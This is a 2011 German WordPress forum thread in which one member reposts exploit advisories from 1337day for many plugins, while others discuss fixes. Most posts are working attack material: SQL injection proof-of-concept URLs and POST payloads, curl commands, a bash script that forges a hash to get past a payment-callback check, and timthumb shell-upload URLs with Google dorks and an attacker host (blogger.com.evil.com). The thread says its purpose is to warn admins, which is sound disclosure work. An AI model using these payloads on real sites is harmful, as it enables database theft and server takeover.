[Sammelthread] WordPress Plugin SQL Injections

Dat Inge · 6. September 2011

Ich werde hier Lücken in verschieden Plugins posten. Grund ist einfach, um euch vor Hacks zu schützen. Ihr solltet also diese Plugins erstmal deaktivieren.

WordPress KNR Author List Widget plugin (SQL Injection)

# Exploit Title: WordPress KNR Author List Widget plugin <= 2.0.0 SQL Injection Vulnerability
# Date: 2011-09-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/knr-author-list-widget.zip
# Version: 2.0.0 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/knr-author-list-widget/knrAuthorListCustomSortSave.php?listItem[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
foreach ($_GET['listItem'] as $position => $item) :
$iterSql = "UPDATE $wpdb->users SET knr_author_order = $position WHERE ID = $item";
$wpdb->query($iterSql);
endforeach;

# 1337day.com [2011-09-06]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/16839

mfitzen · 6. September 2011

Scheint auch schon aus dem offiziellen Repo geflogen zu sein.

Dat Inge · 6. September 2011

Auf 1337day gibts noch weitere Injection, zu einigen Plugins.
Ich würde dazu vielleicht ein Sammelthread mach und es immer posten, weiß nur nicht, ob es hier gern gesehen ist, von der Boardleitung. Ich fände es nur gut, wenn User darüber informiert werden.

Dat Inge · 7. September 2011

WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection

# Exploit Title: WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/eventify.zip
# Version: 1.7.f (tested)
# Note: magic_quotes has to be turned off

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php
npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9--%20

e.g.:
curl --data "npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9-- " http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php

---------------
Vulnerable code
---------------
require_once(str_ireplace("/wp-content","",$_POST['npath']).'/wp-load.php');
$eventid = $_POST['eventid'];
$action = "fetch";

if($action=="fetch"){
...
$qry= "select * from ".$table_name." where em_id='$eventid'" ;
...
$results = $wpdb->get_results($qry);

# 1337day.com [2011-09-07]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/16846

Dat Inge · 10. September 2011

Tune Library plugin <= 2.17 SQL Injection Vulnerability

Tune Library plugin <= 2.17 SQL Injection Vulnerability

# Exploit Title: WordPress Tune Library plugin <= 2.17 SQL Injection Vulnerability
# Date: 2011-09-10
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/tune-library.zip
# Version: 1.5.1 (tested)
# Notes: magic_quotes has to be turned off
# Plugin setting "Filter artists by letter and show alphabetical navigation" has to be turned on

---
PoC
---
http://www.site.com/wp-content/plugins/tune-library/tune-library-ajax.php?letter=-1' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20

---------------
Vulnerable code
---------------
$artistletter = $_GET['letter'];
...
if ($options['oneletter'] == false || $showallartists == true)
...
else
{
if ($artistletter == '#')
...
else
{
$querystr ="SELECT distinct artist, 'artist' as source FROM " . $wpdb->prefix . "tracks where artist != '' and artist like '" .$artistletter . "%' order by artist";
}
}

# 1337day.com [2011-09-10]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/16880

r23 · 11. September 2011

Zitat von Dat Inge: ↑

Auf 1337day gibts noch weitere Injection, zu einigen Plugins.
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

Möchtest du uns jetzt eine Kopie von *jeder* WP Injection, die bei 1337day
veröffentlicht wurde - hier ein Kopie rein hauen?

Warum?

reicht es nicht einen Link hier zu veröffentlichen?

Dat Inge · 11. September 2011

Was meinst du wieviele User hier lesen und wieviele auf 1337day?

WordPress 3.0.4 (comment_post_ID) <= Blind SQL Injection Vulnerability
http://www.1337day.com/exploits/16882

Dat Inge · 14. September 2011

e-Commerce plugin <= 3.8.6 SQL Injection Vulnerability

# Exploit Title: WordPress WP e-Commerce plugin <= 3.8.6 SQL Injection Vulnerability
# Date: 2011-09-13
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-e-commerce.3.8.6.zip
# Version: 3.8.6 (tested)
# Note: parameter $_POST["cs3"] == md5(md5(urldecode($_POST["cs1"])))
# it has a "chronopay_salt" option but it's set to '' by default (see more description down below)

---------------
PoC (POST data)
---------------
http://www.site.com/?chronopay_callback=true
cs2=chronopay&cs1=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23&cs3=123f7bcd4ba53fade05886a7e77bf045&transaction_type=rebill

e.g.
#!/bin/bash
payload="-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"
hash=`echo -n $payload | md5sum | tr -d '\n' | sed 's/\s*-\s*//g' | md5sum | tr -d '\n' | sed 's/\s*-\s*//g'`
curl --data "cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill" http://www.site.com/?chronopay_callback=true

---------------
Vulnerable code
---------------
./wp-e-commerce/wp-shopping-cart.php:

class WP_eCommerce {
...
function init() {
...
$this->load();
...
}
function load() {
...
wpsc_core_load_gateways();
...
}
...
$wpec = new WP_eCommerce();

./wp-e-commerce/wpsc-core/wpsc-functions.php:

function wpsc_core_load_gateways() {
global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields;

$gateway_directory = WPSC_FILE_PATH . '/wpsc-merchants';
$nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory );

$num = 0;
foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) {
if ( stristr( $nzshpcrt_merchant, '.php' ) ) {
require( WPSC_FILE_PATH . '/wpsc-merchants/' . $nzshpcrt_merchant );
}

./wp-e-commerce/wpsc-merchants/chronopay.php:

function nzshpcrt_chronopay_callback()
{
...
if(isset($_GET['chronopay_callback']) && ($_GET['chronopay_callback'] == 'true') && ($_POST['cs2'] == 'chronopay'))
{
$salt = get_option('chronopay_salt');
// - this is by default '' and set only if explicitly stated
// inside Store Settings->Payments->General Settings->
// Chronopay->Edit->Security Key
// - problem is that there are more popular payment gateways enlisted (e.g.
// Google Checkout and PayPal) and if that setting is not explicitly set
// it wide opens the door to the potential attacker

$gen_hash = md5($salt . md5($_POST['cs1'] . $salt));

if($gen_hash == $_POST['cs3'])
{
...
$sessionid = trim(stripslashes($_POST['cs1']));
$transaction_id = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_id'] = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_type'] = trim(stripslashes($_POST['transaction_type']));

switch($verification_data['trans_type'])
{
...
case 'rebill':
$wpdb->query("UPDATE `".WPSC_TABLE_PURCHASE_LOGS."` SET
`processed` = '2',
`transactid` = '".$transaction_id."',
`date` = '".time()."'
WHERE `sessionid` = ".$sessionid." LIMIT 1");
...
add_action('init', 'nzshpcrt_chronopay_callback');

# 1337day.com [2011-09-13]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/16910

Dat Inge · 23. September 2011

Multiple Wordpress timthumb.php reuse vulnerabilities

# Exploit Title: Multiple Wordpress timthumb.php reuse vulnerabilities
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)

---
Description
---
The following Wordpress plugins reuse a vulnerable version of the timthumb.php library.

By hosting a malicious GIF file with PHP code appended to the end on an attacker controlled
domain such as blogger.com.evil.com and then providing it to the script through the
src GET parameter, it is possible to upload a shell and execute arbitrary code on the webserver.

Reference: http://www.exploit-db.com/exploits/17602/

# Plugin: Category Grid View Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/category-grid-view-gallery
# Software Link: http://wordpress.org/extend/plugins/category-grid-view-gallery/download/
# Version: 0.1.1

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/category-grid-view-gallery/includes/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/category-grid-view-gallery/cache/externel_md5(src).php

# Plugin: Auto Attachments Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/auto-attachments
# Software Link: http://wordpress.org/extend/plugins/auto-attachments/download/
# Version: 0.2.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/auto-attachments/thumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/auto-attachments/cache/external_md5(src).php

# Plugin: WP Marketplace Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/wp-marketplace
# Software Link: http://wordpress.org/extend/plugins/wp-marketplace/download/
# Version: 1.1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/wp-marketplace/libs/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/wp-marketplace/libs/cache/external_md5(src).php

# Plugin: DP Thumbnail Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/dp-thumbnail
# Software Link: http://wordpress.org/extend/plugins/dp-thumbnail/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/dp-thumbnail/timthumb/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/dp-thumbnail/timthumb/cache/external_md5(src).php

# Plugin: Vk Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/vk-gallery
# Software Link: http://wordpress.org/extend/plugins/vk-gallery/download/
# Version: 1.1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/vk-gallery/lib/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/vk-gallery/lib/cache/md5(src).php

# Plugin: Rekt Slideshow Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/rekt-slideshow
# Software Link: http://wordpress.org/extend/plugins/rekt-slideshow/download/
# Version: 1.0.5

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/rekt-slideshow/picsize.php?src=MALICIOUS_URL

Must first base64 encode the URL.

The uploaded shell can be found at /wp-content/plugins/rekt-slideshow/cache/md5(src).php

# Plugin: CAC Featured Content Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/cac-featured-content
# Software Link: http://wordpress.org/extend/plugins/cac-featured-content/download/
# Version: 0.8

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/cac-featured-content/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/cac-featured-content/temp/md5(src).php

# Plugin: Rent A Car Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/rent-a-car
# Software Link: http://wordpress.org/extend/plugins/rent-a-car/download/
# Version: 1.0
---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/rent-a-car/libs/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/rent-a-car/libs/cache/external_md5(src).php

# Plugin: LISL Last Image Slider Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/lisl-last-image-slider
# Software Link: http://wordpress.org/extend/plugins/lisl-last-image-slider/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/lisl-last-image-slider/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/lisl-last-image-slider/cache/external_md5(src).php

# Plugin: Islidex Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/islidex
# Software Link: http://wordpress.org/extend/plugins/islidex/download/
# Version: 2.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/islidex/js/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/islidex/js/cache/md5(src).php

# Plugin: Kino Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/kino-gallery
# Software Link: http://wordpress.org/extend/plugins/kino-gallery/download/
# Version: 1.0

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/kino-gallery/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/kino-gallery/cache/external_md5(src).php

# Plugin: Cms Pack Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/cms-pack
# Software Link: http://wordpress.org/extend/plugins/cms-pack/download/
# Version: 1.3

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/cms-pack/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/uploads/cms-pack-cache/external_md5(src).php

# Plugin: A Gallery Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/a-gallery
# Software Link: http://wordpress.org/extend/plugins/a-gallery/download/
# Version: 0.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/a-gallery/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/a-gallery/cache/external_md5(src).php

# Plugin: Category List Portfolio Page Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/category-list-portfolio-page
# Software Link: http://wordpress.org/extend/plugins/category-list-portfolio-page/download/
# Version: 0.9

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/category-list-portfolio-page/scripts/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/category-list-portfolio-page/scripts/cache/external_md5(src).php

# Plugin: Really Easy Slider Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/really-easy-slider
# Software Link: http://wordpress.org/extend/plugins/really-easy-slider/download/
# Version: 0.1

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/really-easy-slider/inc/thumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/really-easy-slider/inc/cache/external_md5(src).php

# Plugin: Verve Meta Boxes Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/verve-meta-boxes
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/verve-meta-boxes/download/
# Version: 1.2.8

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/verve-meta-boxes/tools/timthumb.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/verve-meta-boxes/tools/cache/external_md5(src).php

# Plugin: User Avatar Wordpress plugin shell upload vulnerability
# Google Dork: inurl:wp-content/plugins/user-avatar
# Software Link: http://wordpress.org/extend/plugins/user-avatar/download/
# Version: 1.3.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/user-avatar/user-avatar-pic.php?id=0&allowedSites[]=blogger.com&src=http://blogger.com.evil.com/poc.php

Requires register_globals to be enabled and at least one user account to have an avatar directory.

The uploaded shell can be found at /wp-content/uploads/avatars/$id/external_md5(src).php

# Plugin: Extend Wordpress Wordpress plugin Shell Upload vulnerability
# Google Dork: inurl:wp-content/plugins/extend-wordpress
# Software Link: http://wordpress.org/extend/plugins/extend-wordpress/download/
# Version: 1.3.7

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/extend-wordpress/helpers/timthumb/image.php?src=MALICIOUS_URL

The uploaded shell can be found at /wp-content/plugins/extend-wordpress/helpers/timthumb/cache/external_md5(src).php

# 1337day.com [2011-09-19]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/16953

Dat Inge · 24. September 2011

WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability

# Exploit Title: WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.5.zip
# Version: 3.6.5 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
---------------
if(isset($_GET['track']) OR $_GET['track'] != '') {
$meta = urldecode($_GET['track']);
...
list($ad, $group, $block) = explode("-", $meta);
...
$bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;");

# 1337day.com [2011-09-24]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/16968

Dat Inge · 26. September 2011

CevherShare 2.0 plugin SQL Injection Vulnerability

=> WordPress CevherShare 2.0 plugin SQL Injection Vulnerability

=> Bugfounder: bd0rk

=> Contact: bd0rk[at]hackermail.com

=> Greetings: 1337day.com , Perle, Martin K., Carsten R., x0r_32

=> Affected-Software: WordPress CevherShare 2.0 plugin

=> Vendor: http://phpkode.com/

=> Download: http://phpkode.com/download/s/cevhershare.zip

=> Tested on: Ubuntu-Linux

Vulnerable C0de in cevhershare/cevhershare-admin.php

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

PoC: http://[someone]/wp-content/plugins/cevhershare/cevhershare-admin.php?id=[SQL-Injection]

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
$pos = $_GET['pos'] ? $_GET['pos'] : $_POST['pos'];
$status = $_GET['status'] ? $_GET['status'] : $_POST['status'];
$task = $_GET['t'] ? $_GET['t'] : $_POST['t'];
$do = $_POST['do'];
if($do == "update-lang"){
$uplang = $_POST['update-lang'];
update_option('cevhershare_language',$uplang);
}
if($id) $item = $wpdb->get_row("SELECT * FROM ".$wpdb->prefix."cevhershare WHERE id=$id");
if($do == 'update') $wpdb->query("UPDATE ".$wpdb->prefix."cevhershare SET enabled='".$_POST['enabled']."', position='".$_POST['position']."', name='".$_POST['name']."', big='".$_POST['big']."', small='".$_POST['small']."' WHERE id='$id'");
elseif($do == 'add') $wpdb->query("INSERT INTO ".$wpdb->prefix."cevhershare (position, name, big, small) VALUES('".$_POST['position']."','".$_POST['name']."', '".$_POST['big']."', '".$_POST['small']."')");
elseif($do == 'delete') $wpdb->query("DELETE FROM ".$wpdb->prefix."cevhershare WHERE id=$id LIMIT 1");
elseif($do == 'reset') cevhershare_reset();
elseif($do == 'settings'){

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Greetings from cold Germany, bd0rk.

# 1337day.com [2011-09-26]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/16971

Dat Inge · 27. September 2011

WordPress Mingle Forum plugin <= 1.0.31 SQL Injection Vulnerability

# Exploit Title: WordPress Mingle Forum plugin <= 1.0.31 SQL Injection Vulnerability
# Date: 2011-09-19
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mingle-forum.1.0.31.zip
# Version: 1.0.31 (tested)
# Note: wpf_str_encrypt($_POST['wpf_security_code']) == $_POST['wpf_security_check']

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/mingle-forum/wpf-insert.php
wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.
curl --data "wpf_security_check=MhWNow%3D%3D&wpf_security_code=fail&edit_post_submit=1&message=test&edit_post_subject=test&thread_id=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" http://www.site.com/wp-content/plugins/mingle-forum/wpf-insert.php

---------------
Vulnerable code
---------------
if (!isset($_POST['edit_post_submit'])) {
$errormsg = apply_filters('wpwf_check_guestinfo',"");
if ($errormsg != "") {
$error = true;
wp_die($errormsg);
}
}

if($options['forum_captcha'] == true && !$user_ID){
include_once(WPFPATH."captcha/shared.php");
$wpf_code = wpf_str_decrypt($_POST['wpf_security_check']); // wpf_str_decrypt("MhWNow==") == "fail"
if(($wpf_code == $_POST['wpf_security_code']) && (!empty($wpf_code))) {
// do nothing
}
else {
$error = true;
$msg = __("Security code does not match", "mingleforum");
wp_die($msg);
}
}

...

if(isset($_POST['edit_post_submit'])){
$myReplaceSub = array("'", "\\");
$subject = str_replace($myReplaceSub, "", $mingleforum->input_filter($_POST['edit_post_subject']));
$content = $mingleforum->input_filter($_POST['message']);
$thread = $mingleforum->check_parms($_POST['thread_id']);
$edit_post_id = $_POST['edit_post_id'];

if($subject == ""){
$msg .= "<h2>".__("An error occured", "mingleforum")."</h2>";
$msg .= ("<div id='error'><p>".__("You must enter a subject", "mingleforum")."</p></div>");
$error = true;
}
elseif($content == ""){
$msg .= "<h2>".__("An error occured", "mingleforum")."</h2>";
$msg .= ("<div id='error'><p>".__("You must enter a message", "mingleforum")."</p></div>");
$error = true;
}

if ($error) wp_die($msg);

//SECURITY FIX NEEDED <-- actual author's comment
$sql = ("UPDATE $mingleforum->t_posts SET text = '$content', subject = '$subject' WHERE id = $edit_post_id");
$wpdb->query($wpdb->prepare($sql)); // misusage of prepare statement(s)

# 1337day.com [2011-09-27]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/16975

mfitzen · 28. September 2011

Oh nein, nicht das Mingle Forum... Der Autor arbeitet jedenfalls schon an einem Fix...

Tutrix · 28. September 2011

Das scheint ja nur die Captcha-Funktion zu betreffen. Wer also ein Mingle Forum betreibt sollte bis das gefixt ist, das Forum nur für registrierte User freigeben. Also auch "Verwende Captcha für nicht registrierte Benutzer:" deaktivieren.

Edit: 29.09.11 Fehler wurde von Paul behoben, Update auf Version: 1.0.31.2 steht zum Download bereit.

Dat Inge · 2. Oktober 2011

Danke @Art of Pic für die Meldung.
Genau dafür ist der Thread, denn so bekommen es mehr User/Admins/Coder mit und man kann schneller ein Fix bekommen. Glaube kaum, das sich jeder Admin auf 1337day rumtreibt. Aber fast alle sind hier im Forum.

Tutrix · 2. Oktober 2011

Ideal wäre ein Hinweis im Dashboard, das das Plugin eine Sicherheitslücke aufweist, so wie es auch für ein vorhandenes Update der Fall ist.
Zwar werden Plugins mit Sicherheitslücken bei WP.org vorübergehend nicht mehr zu Download angeboten, nützt aber demjenigen nichts der dies bereits im Einsatz hat.

Dat Inge · 11. Oktober 2011

WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability

#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]
#Date: 2011-09-25
#Author: [cheki]
#Version:[3.2.1]
#Tested on:[linux]
#Used: ["sqlmap"]
#SQL Injection
http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1

#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)

#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)

#Home page: http://hacking.ge/

# 1337day.com [2011-10-11]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17053

Dat Inge · 12. Oktober 2011

WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability

WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability

# Exploit Title: WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability
# Date: 2011-09-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/gd-star-rating.zip
# Version: 1.9.10 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
./export.php
require_once("./code/cls/export.php");
...
if (isset($_GET["ex"])) {
$export_type = $_GET["ex"];
...
switch($export_type) {
case "user":
header('Content-type: text/csv');
header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"');
$sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data);
$rows = $wpdb->get_results($sql, ARRAY_N);

./code/cls/export.php
class GDSRExport {
...
function export_users($user_data = "min", $data_export = "article", $get_data = array()) {
...
$where = array();
...
$where[] = "v.vote_type = '".$data_export."'";
...
$j_where = join(" and ", $where);
...
return sprintf("select %s from %s where %s order by u.id",
$j_select, $j_tables, $j_where);

# 1337day.com [2011-10-12]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17055

Dat Inge · 16. Oktober 2011

WordPress wpsf-js plugin, SQL Injection

WordPress wpsf-js plugin, SQL Injection

#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]
#Date: 2011-10-16
#Author: [longrifle0x]
#Version:[3.2.1]
#Tested on:[linux]
#Used: ["sqlmap"]
#SQL Injection
http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1

#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)

#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)

#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)

# 1337day.com [2011-10-16]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17069

Dat Inge · 16. Oktober 2011

WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability

WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability

# Exploit Title: WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability
# Date: 2011-10-13
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Software Link: http://downloads.wordpress.org/plugin/contact-form-wordpress.zip
# Version: 2.7.5 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/contact-form-wordpress/easy-form.class.php
wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.
curl --data "wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://127.0.0.1/wordpress/?p=1

---------------
Vulnerable code
---------------
Line 49:
public function the_content($content) {
global $wpdb;
global $table_name;
global $settings_table_name;

$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {

$form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

---------------
Patch
---------------

*** ./easy-form.class.php.orig 2011-10-13 19:53:05.674800956 -0400
--- ./easy-form.class.php 2011-10-13 19:51:21.442799615 -0400
***************
*** 54,61 ****
$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {
!
! $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);

$continue = true;

--- 54,63 ----
$private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';

if ($_POST['wpcf_easyform_submitted'] == 1) {
! $wpcf_easyform_formid=$_POST['wpcf_easyform_formid'];
! $wpcf_easyform_formid=substr($wpcf_easyform_formid,2);
!
! $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$wpcf_easyform_formid);

$continue = true;

***************
*** 71,80 ****
if ($continue) {

//loop through the fields of this form (read from DB) and build the message here
! $form_fields = $wpdb->get_results("
SELECT *
FROM $settings_table_name
! WHERE form_id = ".$_POST['wpcf_easyform_formid']."
ORDER BY position
");

--- 73,82 ----
if ($continue) {

//loop through the fields of this form (read from DB) and build the message here
! $form_fields = $wpdb->get_results("
SELECT *
FROM $settings_table_name
! WHERE form_id = ".$wpcf_easyform_formid."
ORDER BY position
");

# 1337day.com [2011-10-13]
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

http://www.1337day.com/exploits/17061

WPDE.org

[Sammelthread] WordPress Plugin SQL Injections

Dat Inge Well-Known Member

mfitzen Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

r23 Well-Known Member

Dat Inge Well-Known Member

Dat Inge Well-Known Member

